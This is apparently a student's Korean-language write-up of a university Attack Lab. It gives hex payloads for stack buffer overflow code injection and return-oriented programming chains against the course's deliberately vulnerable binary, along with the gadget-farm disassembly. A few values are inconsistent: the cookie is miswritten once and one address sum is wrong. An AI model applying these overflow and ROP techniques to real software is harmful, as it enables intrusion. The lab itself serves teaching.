CSED 211

Attack lab

20200445박은하

Level 1

Touch 함수의 return address를 bufferoverflow가 시작되는 부분에 inject해야 한다.

Rsp공간이 56바이트 이므로 56바이트를 dummy값으로 채운 후 상위 8바이트를 touch1의 return address인 0x401822로 채워주었다. 따라서 스택에 잡힌 buffer사이즈가 56이고 나머지 상위 8바이트는 주소로 채워줘야 하므로 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 18 40 00 00 00 00 00을 적어야 했다.

Level2.

Level2는 쿠키값을 argument로 받아, touch 2를 호출할 때 valid한 결과를 얻는다. Touch2의 주소 가 0x40184e 이고, 쿠키값이 0x3f3acdd2이다. Return address가 놓이는 공간에 버퍼의 시작주소가 오게 하고 버퍼의 시작 주소부터는 pushq touch 2의 주소, 쿠키의 값을 rdi로 옮기는 어셈블리어의 instruction을 hex2raw로 인코딩한 결과를 inject한다

0000000000000000 <.text>:

0: 68 4e 18 40 00 pushq $0x40184e

5: 48 c7 c7 d2 cd 3a 3f mov $0x3f3acdd2,%rdi

c: c3 retq

buffer의 시작 주소는 rdi의 register값을 이용하여 확인한 결과 0x55641808이었다.

68 4e 18 40 00 48 c7 c7 d2 cd 3a 3f c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 18 64 55 00 00 00 00

노란색이 어셈블리 명령어이고, 빨간색이 touch2의 return address이다.

Level3:

Level3는 cookie를 문자열로 바꾼 값과 동일한 값이 argument로 넘어가야 valid한 결과가 print된다.

쿠키는 0x3f3facdd2 인데, 이를 문자열로 바꿀 시, 33 66 33 61 63 64 64 32 00 의 값이 나온다.

버퍼의 시작 주소에 injection해야하는 코드는 다음과 같다.

Push touch3주소 0x401922

Stack의 위치에 쿠키와 똑 같은 문자열의 값 mov

(이 때 offset을 buffer의 시작주소 + 56 + 리턴어드레스 공간(8)=64로 잡는다. 따라서 문자열의 주소는 0x55641808+64=>0x595ee61a이다.)

Ret

Return address의 위치 이후에는 차례대로

08 18 64 55->buffer의 시작주소 : 55641808

Touch 시작주소 0x401922

문자열의 내용

이 들어간다.

Assembly instruction의 incoding이 다음과 같고,

0: 48 c7 c7 50 18 64 55 mov $0x55641850,%rdi

7: c3 retq

따라서 input file은 다음과 같다.

48 C7 C7 50 18 64 55 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 18 64 55 00 00 00 00 22 19 40 00 00 00 00 00 33 66 33 61 63 64 64 32 00

Phase 4:

Phase4는 rop를 이용해 touch2를 호출해야 했다. Start\_farm부터 mid\_farm사이에는, 다음과 같은 함수가 존재했다.

Setval\_219

Addval\_155

Setval\_279

Getval\_370

Getval\_258

Getval\_264

Getval\_107

Getval\_478

Start\_farm ()

Return1

->4019aa

Mid farm()

Return1

->4019e3

Return address에 들어 갈 instruction은 다음과 같다.

Pop rax

Getval\_258이라는 gadget을 보았을 때 pop rax의 시작 주소는 0x 40 19 cd 이다.

Pop rax는 쿠키값을 rax에 저장해야 하므로 따라서 상위 바이트에는 쿠키 값이 저장되어야 한다. 그 후에는 rax의 값을 함수를 call 할때 argument인 rdi로 넘겨주는 instruction이 필요하다. 이는 mov rax rdi로 할 수 있는데 해당되는 instruction을 갖는 gadget의 시작주소는 0x4019b9이다.

마지막으로는 touch2의 return address가 있어야 한다.

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CD 19 40 00 00 00 00 00 D2 CD 3A 3F 00 00 00 00 B9 19 40 00 00 00 00 00 4E 18 40 00 00 00 00 00

Phase 5:

Phase5는 farm.c의 모든 gadget들을 이용하여 touch3을 호출해야 한다.

Farm.c의 모든 함수를 살펴보면 다음과 같다.

그 중 쓸만한 것들은 빨간색으로 표시해두었다.

00000000004019aa <start\_farm>:

4019aa: b8 01 00 00 00 mov $0x1,%eax

4019af: c3 retq

00000000004019b0 <setval\_219>:

4019b0: c7 07 58 c1 c1 0c movl $0xcc1c158,(%rdi)

4019b6: c3 retq

00000000004019b7 <addval\_155>:

4019b7: 8d 87 48 89 c7 90 lea -0x6f3876b8(%rdi),%eax

4019bd: c3 retq

00000000004019be <setval\_279>:

4019be: c7 07 48 a9 c7 c3 movl $0xc3c7a948,(%rdi)

4019c4: c3 retq

00000000004019c5 <getval\_370>:

4019c5: b8 48 89 c7 91 mov $0x91c78948,%eax

4019ca: c3 retq

00000000004019cb <getval\_258>:

4019cb: b8 70 58 90 c3 mov $0xc3905870,%eax

4019d0: c3 retq

00000000004019d1 <getval\_264>:

4019d1: b8 58 90 90 c3 mov $0xc3909058,%eax

4019d6: c3 retq

00000000004019d7 <getval\_107>:

4019d7: b8 58 94 90 90 mov $0x90909458,%eax

4019dc: c3 retq

00000000004019dd <getval\_478>:

4019dd: b8 48 89 c7 c3 mov $0xc3c78948,%eax//rax를 rdi로

4019e2: c3 retq

00000000004019e3 <mid\_farm>:

4019e3: b8 01 00 00 00 mov $0x1,%eax

4019e8: c3 retq

00000000004019e9 <add\_xy>:

4019e9: 48 8d 04 37 lea (%rdi,%rsi,1),%rax

4019ed: c3 retq

00000000004019ee <addval\_349>:

4019ee: 8d 87 89 d1 30 c0 lea -0x3fcf2e77(%rdi),%eax

4019f4: c3 retq

00000000004019f5 <addval\_162>:

4019f5: 8d 87 89 d1 90 c3 lea -0x3c6f2e77(%rdi),%eax//edx를 ecx로

4019fb: c3 retq

00000000004019fc <setval\_366>:

4019fc: c7 07 89 c2 30 c0 movl $0xc030c289,(%rdi)

401a02: c3 retq

0000000000401a03 <getval\_403>:

401a03: b8 89 d1 c1 d4 mov $0xd4c1d189,%eax

401a08: c3 retq

0000000000401a09 <setval\_440>:

401a09: c7 07 c9 d1 08 db movl $0xdb08d1c9,(%rdi)

401a0f: c3 retq

0000000000401a10 <addval\_150>:

401a10: 8d 87 8b c2 38 d2 lea -0x2dc73d75(%rdi),%eax

401a16: c3 retq

0000000000401a17 <getval\_475>:

401a17: b8 8a 48 81 e0 mov $0xe081488a,%eax

401a1c: c3 retq

0000000000401a1d <getval\_494>:

401a1d: b8 54 89 ce c2 mov $0xc2ce8954,%eax

401a22: c3 retq

0000000000401a23 <getval\_459>:

401a23: b8 23 8b c2 c3 mov $0xc3c28b23,%eax

401a28: c3 retq

0000000000401a29 <getval\_422>:

401a29: b8 1b 48 89 e0 mov $0xe089481b,%eax//rsp를 rax로

401a2e: c3 retq

0000000000401a2f <setval\_329>:

401a2f: c7 07 89 ce 20 db movl $0xdb20ce89,(%rdi)

401a35: c3 retq

0000000000401a36 <setval\_158>:

401a36: c7 07 42 89 d1 90 movl $0x90d18942,(%rdi) //edx를 ecx로

401a3c: c3 retq

0000000000401a3d <addval\_181>:

401a3d: 8d 87 48 89 e0 c3 lea -0x3c1f76b8(%rdi),%eax

401a43: c3 retq

0000000000401a44 <setval\_231>:

401a44: c7 07 89 ce 48 db movl $0xdb48ce89,(%rdi)

401a4a: c3 retq

0000000000401a4b <getval\_343>:

401a4b: b8 89 c2 94 c0 mov $0xc094c289,%eax

401a50: c3 retq

0000000000401a51 <addval\_402>:

401a51: 8d 87 99 d1 84 db lea -0x247b2e67(%rdi),%eax

401a57: c3 retq

0000000000401a58 <addval\_338>:

401a58: 8d 87 8b ce 90 c3 lea -0x3c6f3175(%rdi),%eax

401a5e: c3 retq

0000000000401a5f <getval\_282>:

401a5f: b8 89 ce 90 c3 mov $0xc390ce89,%eax //ecx를 esi로

401a64: c3 retq

0000000000401a65 <addval\_461>:

401a65: 8d 87 09 c2 20 c9 lea -0x36df3df7(%rdi),%eax

401a6b: c3 retq

0000000000401a6c <addval\_168>:

401a6c: 8d 87 89 c2 91 c3 lea -0x3c6e3d77(%rdi),%eax

401a72: c3 retq

0000000000401a73 <addval\_483>:

401a73: 8d 87 a2 4c 89 e0 lea -0x1f76b35e(%rdi),%eax //esp를 eax로

401a79: c3 retq

0000000000401a7a <addval\_384>:

401a7a: 8d 87 81 ce 20 d2 lea -0x2ddf317f(%rdi),%eax

401a80: c3 retq

0000000000401a81 <addval\_429>:

401a81: 8d 87 89 c2 08 c9 lea -0x36f73d77(%rdi),%eax

401a87: c3 retq

0000000000401a88 <getval\_185>:

401a88: b8 48 c9 e0 90 mov $0x90e0c948,%eax

401a8d: c3 retq

0000000000401a8e <setval\_180>:

401a8e: c7 07 48 89 e0 94 movl $0x94e08948,(%rdi)

401a94: c3 retq

0000000000401a95 <addval\_350>:

401a95: 8d 87 05 89 ce 91 lea -0x6e3176fb(%rdi),%eax

401a9b: c3 retq

0000000000401a9c <setval\_352>:

401a9c: c7 07 88 d1 20 c0 movl $0xc020d188,(%rdi)

401aa2: c3 retq

0000000000401aa3 <addval\_116>:

401aa3: 8d 87 89 c2 90 90 lea -0x6f6f3d77(%rdi),%eax //eax를 edx로

401aa9: c3 retq

0000000000401aaa <getval\_115>:

401aaa: b8 8d d1 90 c3 mov $0xc390d18d,%eax

401aaf: c3 retq

0000000000401ab0 <addval\_218>:

401ab0: 8d 87 89 ce a4 c0 lea -0x3f5b3177(%rdi),%eax

401ab6: c3 retq

0000000000401ab7 <setval\_326>:

401ab7: c7 07 48 8d e0 c3 movl $0xc3e08d48,(%rdi)

401abd: c3 retq

0000000000401abe <getval\_285>:

401abe: b8 48 89 e0 c1 mov $0xc1e08948,%eax

401ac3: c3 retq

0000000000401ac4 <end\_farm>:

401ac4: b8 01 00 00 00 mov $0x1,%eax

401ac9: c3 retq

401aca: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1)

쿠키에 저장되는 값 33 66 33 61 63 64 64 32 00이고 가젯들에서 instruction을 연결하여 valid한 결과를 가질 수 있도록 짠 assembly code는 다음과 같다. 이 code를 return address 주소 부분에 놓아야한다.

Movq rsp rax (0x401a2b)

Movq rax rdi (0x4019de)

Pop rax (0x4019cd)

Offset 48

Movl eax edx (0x401aa5)

Movl edx ecx (0x4019f7)

Movl ecx esi (0x401a60)

Add\_xy (0x4019e9)

Mov rax rdi (0x4019de)

Touch3호출 (0x401922)

쿠키 33 66 33 61 63 64 64 32 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2b 1a 40 00 00 00 00 00 de 19 40 00 00 00 00 00 cd 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 a5 1a 40 00 00 00 00 00 f7 19 40 00 00 00 00 00 60 1a 40 00 00 00 00 00 e9 19 40 00 00 00 00 00 de 19 40 00 00 00 00 00 22 19 40 00 00 00 00 00 33 66 33 61 63 64 64 32 00